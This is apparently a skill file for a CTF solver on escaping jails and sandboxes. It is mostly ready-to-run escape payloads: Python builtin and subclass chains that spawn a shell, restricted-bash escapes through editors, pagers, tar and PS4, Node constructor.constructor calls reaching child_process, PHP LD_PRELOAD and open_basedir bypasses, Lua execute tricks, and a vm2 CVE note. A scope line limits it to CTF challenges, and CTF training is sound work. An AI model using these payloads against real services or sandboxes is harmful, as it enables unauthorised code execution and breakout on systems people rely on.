CTF Jail & Sandbox Escape
Every jail is a filter plus an execution primitive. Read the filter source first, then pick the shortest route to open('/flag').
Scope and safety
Jails in CTF challenges are designed to be escaped. Do not reuse these payloads against production services. Keep working scripts under ctf-solver/workspaces/<challenge>/.
Step 1: Classify the jail
| Evidence | Jail type | First move |
|---|---|---|
eval(input), exec(input), compile() |
Python eval/exec | Builtin and subclass chains |
input() loop, python3 -c with -S or restricted __builtins__ |
Python restricted | Recover __builtins__, then __import__ |
rbash, sh -r, PATH reset, cd blocked |
Bash restricted shell | Shell builtins and pager escapes |
vm.runInNewContext, vm2, quickjs |
JS sandbox | constructor.constructor / known CVE |
disable_functions, open_basedir |
PHP | putenv+LD_PRELOAD, FFI, mail() |
loadstring, os missing |
Lua | Table indexing and registry access |
seccomp, prctl, allowed syscall list |
Native sandbox | Stop: use /ctf-pwn |
If the challenge gives you the filter, diff it against a normal interpreter. The bug is whatever it forgot.
Python jails
Quick wins, in order — try all five before inventing anything:
__import__('os').system('cat /flag')
__import__('os').popen('cat /flag').read()
breakpoint() # py3.7+, drops into pdb; then !cat /flag
help() # then: !cat /flag (pager shell escape)
license() # same pager trick
If builtins are stripped, walk to them:
().__class__.__base__.__subclasses__() # list every loaded class
[x for x in ().__class__.__base__.__subclasses__() if 'warning' in x.__name__][0]()._module.__builtins__['__import__']('os').system('sh')
globals()['__builtins__']['__import__']('os').system('sh')
vars(__builtins__) if '__builtins__' in globals() else None
Useful stable indices are fragile across versions — print the list first, then index the class you actually saw (typically warnings.catch_warnings, os._wrap_close, or subprocess.Popen).
Character and keyword filters:
| Blocked | Bypass |
|---|---|
| quotes | chr(47), bytes([47]).decode(), '%c' % 47, ().__doc__[0] |
_ |
getattr(o, chr(95)*2 + 'class' + chr(95)*2), vars(), dir() |
| dots | getattr, o[attr], dict(zip(...)) |
import |
__import__, importlib.import_module, __builtins__['__import__'] |
| digits | len('aaaa'), True+True, ord('a')-ord('a'), (1).__class__ tricks |
| spaces | tabs, /**/, parenthesised expressions, newlines |
+ |
''.join([...]), f'{a}{b}', % formatting |
| parentheses | decorators (@__import__), walrus, print as a statement |
| almost everything | repunit decomposition, lambda calculus — see ../ctf-misc/pyjails.md |
Walrus reassignment is the standard escape from "variables are fixed" puzzles: (abcdef := 'new') rebinds a constrained name. Decorator form escapes "no calls, no quotes":
@__import__
@os.system
@'/bin/sh'
class X: pass
f-string / format-spec injection: when the challenge stores your string in a config and renders it, a key named eval(payload) executes during rendering — see ../ctf-misc/pyjails.md.
Audit hooks: if sys.addaudithook is installed, prefer paths that do not trip the audited event (e.g. read via os.open/os.read instead of open, or reach the flag through a class already holding it). Do not assume you can remove the hook.
Bash restricted shells
# read the flag without cat/head/less
HISTFILE=/flag /bin/bash && history
bash -v /flag.txt # verbose mode echoes file lines
exec 3< /flag; cat <&3 # redirection still works
# editor and pager escapes
vi /tmp/x → :!sh :set shell=/bin/sh :shell
less /etc/passwd → !sh
awk 'BEGIN{system("/bin/sh")}'
find / -exec /bin/sh \; -quit
tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
Globbing and quoting beat PATH filters:
/?in/?sh # /bin/sh without naming it
/bin/c?t /flag
$'\x2fbin\x2fsh' # hex-escaped path
/proc/self/root/flag # same file, different path string
cp /flag /tmp/f; /bin/sh
$0, BASH_ENV=/tmp/payload, PS4='$(sh)', and PROMPT_COMMAND are all rebound on the next shell start. Full catalogue: ../ctf-misc/bashjails.md.
JavaScript / Node sandboxes
this.constructor.constructor('return process')().mainModule.require('child_process').execSync('cat /flag').toString()
this.constructor.constructor('return global')()
process.binding('spawn_sync') // no require needed
vm is not a security boundary — any reachable host object gives you the real Function constructor. For vm2, check the version with npm ls vm2 and its known Promise[@@species] escape (CVE-2023-37466, fixed in 3.9.19); library-level detail lives in ../ctf-web/node-and-prototype.md. For quickjs/isolated-vm, look for host callbacks that accept objects and leak a prototype.
PHP disable_functions and open_basedir
# LD_PRELOAD route (needs putenv + a writable dir + a binary that spawns a child)
# compile a .so that overrides getuid() and runs your command, then:
# putenv("LD_PRELOAD=/tmp/x.so"); mail("a@b","","",""); (5th param = -f, older PHP)
ls -l /proc/self/root/ # open_basedir often misses /proc/self/root
Others: FFI when enabled, pcntl_exec, imap_open mailbox injection (PHP < 8), .htaccess with auto_prepend_file, php://filter chains for source disclosure, and glob:// for listing. open_basedir is bypassable through /proc/self/cwd, symlink races, and chdir plus relative paths.
Lua and other interpreters
os["execute"]("cat /flag") -- when os.execute is filtered by name
loadstring("return os.execute('sh')")()
debug.getregistry() -- reach host functions through the registry
Ruby: $stdout plus backticks, Kernel#system via send, ObjectSpace. Perl: open(my $fh, '<', '/flag') alternates, qx//, readpipe.
Escape checklist
- Is the flag readable at all from this process (
open_basedir, uid, mount)? - Which builtin or native function is still reachable?
- Can you reach a module loader, a class hierarchy, or a host object?
- Does the filter run on your input, the compiled object, or the output?
- Is there an oracle (length, comparison, error message) instead of a direct escape? Then binary search — see ../ctf-misc/pyjails.md for oracle patterns.
When to pivot
- You have code execution inside a process with a seccomp filter and need syscalls, not Python →
/ctf-pwn - The jail is really an encoding or restricted-charset puzzle with no interpreter →
/ctf-misc - The sandbox is reached through a web upload or template →
/ctf-web - The "jail" is a Kubernetes or container sandbox →
/ctf-cloud
Verify
python3 -c 'print(().__class__.__base__)'
echo $0; echo $BASH_VERSION
node -e 'console.log(this.constructor.constructor("return 1")())'
Confirm the escape on the challenge's own entrypoint before writing it up — a payload that works in your shell but not through their input() wrapper is the most common wasted hour.